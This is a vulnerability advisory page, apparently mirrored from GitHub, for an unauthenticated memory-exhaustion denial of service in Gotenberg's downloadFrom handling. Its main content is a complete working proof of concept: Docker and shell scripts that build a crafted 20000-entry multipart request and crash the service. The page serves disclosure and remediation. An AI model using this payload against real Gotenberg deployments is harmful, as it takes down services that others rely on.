GHSA-6VQW-2JGM-4X88
Unbounded downloadFrom fan-out permits unauthenticated memory-exhaustion denial of service
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.37.0 | github.com/gotenberg/gotenberg/v8 · -61 d desde divulgación | |
| Divulgación | Publicada | GHSA-6VQW-2JGM-4X88 divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Unbounded downloadFrom fan-out permits unauthenticated memory-exhaustion denial of service
Summary
Gotenberg parses the attacker-controlled multipart `downloadFrom` JSON array and starts one goroutine per array element before enforcing any count, concurrency, or request-size bound. In the default deployment, where API authentication is disabled, `API_BODY_LIMIT` is empty, and `API_DOWNLOAD_FROM_MAX_RETRY=4`, a compact request can create tens of thousands of concurrent retryable HTTP clients and exhaust process memory. The Docker-based reproduction sends one 800172-byte unauthenticated multipart request containing 20000 identical downloadFrom entries and terminates the target with OOM exit code 137.
Impact and affected scope
- Affected component: multipart downloadFrom parsing and outbound-download fan-out
- Attacker-controlled input or action: An unauthenticated network client controls the entire `downloadFrom` multipart form field, including the JSON array length and every URL, header map, field selector, and embedded flag.
- Verified revision: `c2a85f92d08b687a2d7ce150b1aeaed6d2a7a42a` on 31 August 2026
- Tested version: 8.36.0 (affected code statically matched; runtime pinned seven commits later)
- Affected release range: = 8.36.0. This range is limited to the directly verified evidence and is pending maintainer confirmation.
A remote unauthenticated attacker can terminate the Gotenberg process with one compact request. All conversion and health handling in that process becomes unavailable until the container or process is restarted; concurrent legitimate requests are also disrupted.
Technical details
`newContext` unmarshals the array and calls `eg.Go` once for every element without a maximum entry count or worker semaphore. Each goroutine performs outbound URL validation, creates a `retryablehttp.Client`, a validating outbound transport, a tracing context, and logger state. The body limit counts only form values and bytes actually copied after these goroutines are already running, so an empty `API_BODY_LIMIT` permits unbounded fan-out.
The reproduced path is: POST a multipart request with a compact `downloadFrom` JSON array of 20000 entries to `/forms/pdfengines/metadata/read` -> `contextMiddleware` -> `newContext` -> unbounded `json.Unmarshal` array -> one `eg.Go` goroutine per entry -> concurrent `FilterOutboundURL`, retryable client, transport, span, and logger allocations -> process memory exhaustion -> container OOM kill and service unavailability.
We reviewed Gotenberg's current advisories, issues, pull requests, release and fix history, and public CVE/GHSA records on 1 September 2026. GHSA-vp73-vjw8-8f32 concerns concurrent map access in downloadFrom handling, and GHSA-r33j-c622-r6qp concerns pooled Echo context reuse in asynchronous webhook work. The current path is distinct: one request supplies an unbounded downloadFrom array and the parser creates one goroutine and retryable client per element before any cardinality or concurrency bound. The affected code is identical in v8.36.0 and the pinned revision. We did not find a materially equivalent public record; absence of a public result is not proof of novelty, so we defer to the maintainers' knowledge of private reports and development history.
Relevant code and evidence:
- repo/pkg/modules/api/context.go:212
- repo/pkg/modules/api/context.go:216
- repo/pkg/modules/api/context.go:232
- repo/pkg/modules/api/context.go:234
- repo/pkg/modules/api/context.go:235
- repo/pkg/modules/api/context.go:236
- repo/pkg/modules/api/context.go:254
- repo/pkg/modules/api/context.go:289
Reproduction
Run this only against an authorized disposable environment. The following files are the complete text dependencies from the verified final reproduction bundle, with only internal fixture labels renamed to neutral `poc` labels. Do not run them against a public or production system.
Create `Dockerfile`:
FROM golang:1.27.0
ENV CGO_ENABLED=0
WORKDIR /app
RUN ARCH="$(uname -m)" \
&& case "${ARCH}" in \
arm64|aarch64) DOCKER_ARCH=aarch64 ;; \
amd64|x86_64) DOCKER_ARCH=x86_64 ;; \
*) echo "unsupported architecture ${ARCH}" >&2; exit 1 ;; \
esac \
&& curl -fsSL "https://download.docker.com/linux/static/stable/${DOCKER_ARCH}/docker-27.5.1.tgz" -o /tmp/docker.tgz \
&& tar -xzf /tmp/docker.tgz -C /tmp \
&& install -m 0755 /tmp/docker/docker /usr/local/bin/docker \
&& rm -rf /tmp/docker /tmp/docker.tgz
COPY . /app
# The Dockerfile prepares the environment and helper scripts only. The pinned
# target repository is cloned by run.sh on the host and mounted at /target-repo.
CMD ["/app/verify.sh"]Create `run.sh`:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="poc-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/gotenberg/gotenberg.git"
TARGET_REF="c2a85f92d08b687a2d7ce150b1aeaed6d2a7a42a"
WORKDIR="${FINDING_DIR}/.reproduction-work"
# A path inside the final finding directory keeps the temporary clone visible
# to Docker regardless of host-specific VirtioFS propagation in /tmp.
mkdir -p "${WORKDIR}"
trap 'docker rm -f "${CONTAINER_NAME}" >/dev/null 2>&1 || true; rm -rf "${WORKDIR}"' EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"
CONTAINER_NAME="poc-${CASE_ID}-${FINDING_NAME}-runtime"
echo "[poc] cloning target repository"
git clone "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout "${TARGET_REF}"
echo "[poc] building reproduction image: ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
echo "[poc] running exploit trigger and verification"
docker run --name "${CONTAINER_NAME}" \
--memory 256m \
--memory-swap 256m \
--cpus 2 \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
-v /var/run/docker.sock:/var/run/docker.sock \
-v "${WORKDIR}:/poc-work" \
"${IMAGE_TAG}" \
/app/verify.sh
echo "[poc] SUCCESS: reproduction completed and verified"Create `verify.sh`:
#!/usr/bin/env bash
set -euo pipefail
TARGET_REPO=/target-repo
WORK=/poc-work
ENTRY_COUNT=20000
cleanup() {
if docker inspect poc-target >/dev/null 2>&1; then
docker logs poc-target > "${WORK}/target-logs.jsonl" 2>&1 || true
docker rm -f poc-target >/dev/null 2>&1 || true
fi
}
trap cleanup EXIT
mkdir -p "${WORK}"
test -d "${TARGET_REPO}/.git"
echo "[verify] building pinned target commit"
docker build \
--build-arg GOTENBERG_VERSION=c2a85f92d08b687a2d7ce150b1aeaed6d2a7a42a \
-f "${TARGET_REPO}/build/Dockerfile" \
--target gotenberg \
-t poc-gotenberg-pinned \
"${TARGET_REPO}"
docker run -d --name poc-target \
--memory 256m --memory-swap 256m --cpus 2 \
poc-gotenberg-pinned >/dev/null
for _ in $(seq 1 60); do
if docker exec poc-target curl -fsS http://127.0.0.1:3000/health >/dev/null 2>&1; then
break
fi
sleep 1
done
echo "[verify] creating slow HTTP target in the target container network namespace"
# Python 3 is part of the official target image. Running the server with the
# target's network namespace gives every downloadFrom URL a loopback peer.
docker exec -d poc-target python3 -c 'import socket,threading; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("0.0.0.0",18080)); s.listen(4096); exec("while True:\n c,_=s.accept()\n threading.Thread(target=lambda c:c.recv(65536),args=(c,),daemon=True).start()")'
sleep 2
docker exec poc-target curl -fsS http://127.0.0.1:3000/health > "${WORK}/health-before.json"
python3 - "$ENTRY_COUNT" > "${WORK}/downloadFrom.json" <<'PY'
import json
import sys
count = int(sys.argv[1])
value = {"url": "http://127.0.0.1:18080/hold"}
print(json.dumps([value] * count))
PY
python3 - "${WORK}/downloadFrom.json" > "${WORK}/request_body" <<'PY'
import sys
payload_path = sys.argv[1]
with open(payload_path, "r", encoding="utf-8") as f:
payload = f.read()
boundary = "poc-downloadfrom-fanout-boundary"
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="downloadFrom"\r\n'
"Content-Type: application/json\r\n\r\n"
f"{payload}\r\n"
f"--{boundary}--\r\n"
)
sys.stdout.write(body)
PY
REQUEST_BYTES=$(wc -c < "${WORK}/request_body")
echo "[verify] sending ${ENTRY_COUNT} downloadFrom entries in ${REQUEST_BYTES} bytes"
docker cp "${WORK}/request_body" poc-target:/tmp/request_body >/dev/null
# This curl invocation is the exploit trigger. It is expected to fail because
# the target is killed while the request is in flight.
EXIT_CODE=0
docker exec poc-target \
curl -sS --max-time 75 \
-H 'Content-Type: multipart/form-data; boundary=poc-downloadfrom-fanout-boundary' \
--data-binary @/tmp/request_body \
http://127.0.0.1:3000/forms/pdfengines/metadata/read \
> "${WORK}/http-response" 2>"${WORK}/curl-error" || EXIT_CODE=$?
sleep 3
docker inspect poc-target > "${WORK}/target-inspect.json"
OOM=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))[0]["State"]["OOMKilled"])' "${WORK}/target-inspect.json")
EXITED=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))[0]["State"]["Status"])' "${WORK}/target-inspect.json")
EXIT_CODE_TARGET=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))[0]["State"]["ExitCode"])' "${WORK}/target-inspect.json")
REQUEST_BYTES=$(wc -c < "${WORK}/request_body")
echo "[verify] curl exit: ${EXIT_CODE}"
echo "[verify] target status: ${EXITED}, OOMKilled: ${OOM}, exit code: ${EXIT_CODE_TARGET}"
echo "[verify] request size: ${REQUEST_BYTES} bytes"
echo "[verify] downloadFrom entries: ${ENTRY_COUNT}"
test "${EXITED}" = "exited"
test "$(echo "${OOM}" | tr "[:upper:]" "[:lower:]")" = "true"
test "${EXIT_CODE_TARGET}" = "137"
test "${REQUEST_BYTES}" -lt 2000000
if [ "${EXIT_CODE}" -eq 0 ]; then
echo "[verify] FAIL: trigger unexpectedly succeeded" >&2
exit 1
fi
echo "[verify] PASS: compact unauthenticated request caused process OOM kill"Place all files in one directory, then run:
chmod +x ./*.sh 2>/dev/null || true
./run.shExpected: The target Gotenberg process should be killed by the container's OOM manager (`OOMKilled=true`, exit code 137) while the trigger connection terminates without a successful response.
Observed: Running `./reproduction/run.sh` built the pinned target, started it under a 256 MiB memory limit, sent 20000 entries in an 800172-byte request, and observed trigger exit code 137 with target status `exited`, `OOMKilled: true`, and target exit code 137.
Verification: The helper starts the target, confirms `/health` before exploitation, creates a loopback slow HTTP peer inside the target network namespace, sends the crafted multipart body, and parses Docker's `State.OOMKilled`, `State.Status`, and `State.ExitCode`. It also requires a non-zero trigger exit code and a request smaller than 2 MB, distinguishing a real process kill from a large-body transfer or a generic HTTP error.
Limits: The deterministic reproduction deliberately runs the target with a 256 MiB cgroup memory limit. The default deployment has no such limit, so an attacker can scale the same JSON array further to consume the memory actually available to the service.
Suggested remediation
Reject the attacker-controlled state before the vulnerable operation, enforce a small resource or authorization bound at the trust boundary, return a connection- or request-scoped error, and add a regression test using the supplied reproduction and its control.
Severity
CVSS v4.0: 8.7 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation.
Disclosure context and attribution
Automated analysis helped surface this issue, but the finding and reproduction were independently reviewed against the pinned source and final evidence bundle before this local report was prepared.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.37.0 | -61 d | v8.40.0 no afectada |
8.37.0v8.37.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-6vqw-2jgm-4x88Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
